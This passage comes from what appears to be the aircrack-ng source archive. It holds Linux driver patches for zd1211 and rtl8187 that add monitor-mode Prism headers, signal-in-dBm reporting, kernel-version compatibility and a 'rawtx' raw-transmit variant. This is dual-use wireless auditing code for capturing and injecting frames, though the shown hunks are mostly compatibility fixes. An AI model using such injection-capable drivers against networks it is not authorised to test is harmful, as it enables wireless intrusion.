spin_unlock_irqrestore(&mac->lock, flags); - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } static int set_mc_hash(struct zd_mac *mac) @@ -815,7 +820,8 @@ int zd_mac_rx(struct ieee80211_hw *hw, c /* Caller has to ensure that length >= sizeof(struct rx_status). */ status = (struct rx_status *) (buffer + (length - sizeof(struct rx_status))); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)) { if (mac->pass_failed_fcs && (status->frame_status & ZD_RX_CRC32_ERROR)) { stats.flag |= RX_FLAG_FAILED_FCS_CRC; @@ -828,7 +834,8 @@ int zd_mac_rx(struct ieee80211_hw *hw, c stats.freq = zd_channels[_zd_chip_get_channel(&mac->chip) - 1].center_freq; stats.band = IEEE80211_BAND_2GHZ; stats.signal = status->signal_strength; - + stats.signal = stats.signal - 90; + rate = zd_rx_rate(buffer, status); /* todo: return index in the big switches in zd_rx_rate instead */ @@ -1155,7 +1162,7 @@ struct ieee80211_hw *zd_mac_alloc_hw(str hw->wiphy->bands[IEEE80211_BAND_2GHZ] = &mac->band; hw->flags = IEEE80211_HW_RX_INCLUDES_FCS | - IEEE80211_HW_SIGNAL_UNSPEC; + IEEE80211_HW_SIGNAL_DBM; hw->wiphy->interface_modes = BIT(NL80211_IFTYPE_MESH_POINT) | aircrack-ng-1.2-rc4/patches/old/rtl8187_1025v2.patch0000644000000000000000000053272510761053203020232 0ustar rootrootdiff -Naur r8187_orig/ieee80211/ieee80211_crypt.c r8187_rawtx/ieee80211/ieee80211_crypt.c --- r8187_orig/ieee80211/ieee80211_crypt.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_crypt.c 2007-05-16 22:00:07.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); diff -Naur r8187_orig/ieee80211/ieee80211_crypt_ccmp.c r8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- r8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-05-16 22:00:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); diff -Naur r8187_orig/ieee80211/ieee80211_crypt_tkip.c r8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- r8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-05-16 22:00:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,11 +20,21 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include MODULE_AUTHOR("Jouni Malinen"); @@ -431,7 +440,11 @@ static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret = 0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,12 +458,20 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif - return 0; + return ret; } static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) diff -Naur r8187_orig/ieee80211/ieee80211_crypt_wep.c r8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- r8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-05-16 22:00:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,11 +17,21 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include MODULE_AUTHOR("Jouni Malinen"); diff -Naur r8187_orig/ieee80211/ieee80211.h r8187_rawtx/ieee80211/ieee80211.h --- r8187_orig/ieee80211/ieee80211.h 2007-12-05 09:27:45.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211.h 2007-05-16 22:00:11.000000000 +0200 @@ -108,6 +108,8 @@ #define ieee80211_start_protocol ieee80211_start_protocol_rtl #define ieee80211_stop_protocol ieee80211_stop_protocol_rtl #define ieee80211_rx_mgt ieee80211_rx_mgt_rtl +#define ieee80211_stop_queue ieee80211_stop_queue_rtl +#define ieee80211_wake_queue ieee80211_wake_queue_rtl typedef struct ieee_param { @@ -193,6 +195,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -1064,10 +1082,15 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct work_struct ps_request_tx_ack_wq;//for ps struct work_struct hw_wakeup_wq; @@ -1390,7 +1413,11 @@ extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq(struct work_struct *work); +#else extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +#endif extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, struct iw_request_info *info, diff -Naur r8187_orig/ieee80211/ieee80211_module.c r8187_rawtx/ieee80211/ieee80211_module.c --- r8187_orig/ieee80211/ieee80211_module.c 2007-12-03 10:07:33.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_module.c 2007-05-16 22:00:07.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); diff -Naur r8187_orig/ieee80211/ieee80211_rx.c r8187_rawtx/ieee80211/ieee80211_rx.c --- r8187_orig/ieee80211/ieee80211_rx.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_rx.c 2007-05-16 22:00:07.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); +//begin prism header code + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + hdrlen = ieee80211_get_hdrlen(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } +//end prism header code skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); diff -Naur r8187_orig/ieee80211/ieee80211_softmac.c r8187_rawtx/ieee80211/ieee80211_softmac.c --- r8187_orig/ieee80211/ieee80211_softmac.c 2007-12-05 09:26:56.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_softmac.c 2007-05-16 22:00:07.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -37,25 +37,25 @@ unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ + */ void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,9 +85,9 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } @@ -96,11 +96,11 @@ { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; */ //david, 2007.1.23 @@ -110,22 +110,22 @@ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; } - + //return 0; } struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } @@ -143,19 +143,19 @@ short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ ieee80211_sta_wakeup(ieee,0); - + if(single){ - + if(ieee->queue_stop){ - + enqueue_mgmt(ieee,skb); - + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -163,28 +163,28 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); //added by david, 2007.1.23 dev_kfree_skb_any(skb); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } @@ -192,36 +192,36 @@ inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } @@ -231,35 +231,35 @@ u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - + rate_len = ieee80211_MFIE_rate_len(ieee); - + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); - if (ieee->ps == IEEE80211_PS_DISABLED) + if (ieee->ps == IEEE80211_PS_DISABLED) req->header.frame_ctl = IEEE80211_STYPE_PROBE_REQ;//changed!! - else + else req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ|IEEE80211_FCTL_PM);//tony ,for ps ctl bit - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - + ieee80211_MFIE_Brate(ieee,&tag); ieee80211_MFIE_Grate(ieee,&tag); return skb; @@ -269,18 +269,18 @@ void ieee80211_send_beacon(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - + + unsigned long flags; + skb = ieee80211_get_beacon_(ieee); if (skb){ softmac_mgmt_xmit(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -299,7 +299,7 @@ void ieee80211_send_probe(struct ieee80211_device *ieee) { struct sk_buff *skb; - + skb = ieee80211_probe_req(ieee); if (skb){ softmac_mgmt_xmit(skb, ieee); @@ -316,29 +316,29 @@ } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -351,24 +351,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); // printk(KERN_INFO "current probe channel is %d!\n",ch); ieee80211_send_probe_requests(ieee); - + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -379,43 +379,50 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ +{ +#endif short watchdog = 0; down(&ieee->scan_sem); - - + + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee80211_send_probe_requests(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -428,7 +435,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -438,13 +445,13 @@ void ieee80211_beacons_start(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; ieee80211_send_beacon(ieee); - + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } @@ -476,25 +483,25 @@ if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start(ieee); } void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } @@ -510,62 +517,66 @@ /* called with ieee->lock held */ void ieee80211_start_scan(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) queue_work(ieee->wq, &ieee->softmac_scan_wq); +#else + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); +#endif } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) ieee80211_softmac_scan_syncro(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; if (ieee->ps != IEEE80211_PS_DISABLED) auth->header.frame_ctl |= IEEE80211_FCTL_PM;//tony 060624 - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) @@ -577,23 +588,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -601,72 +612,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -679,52 +690,52 @@ { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - + unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) 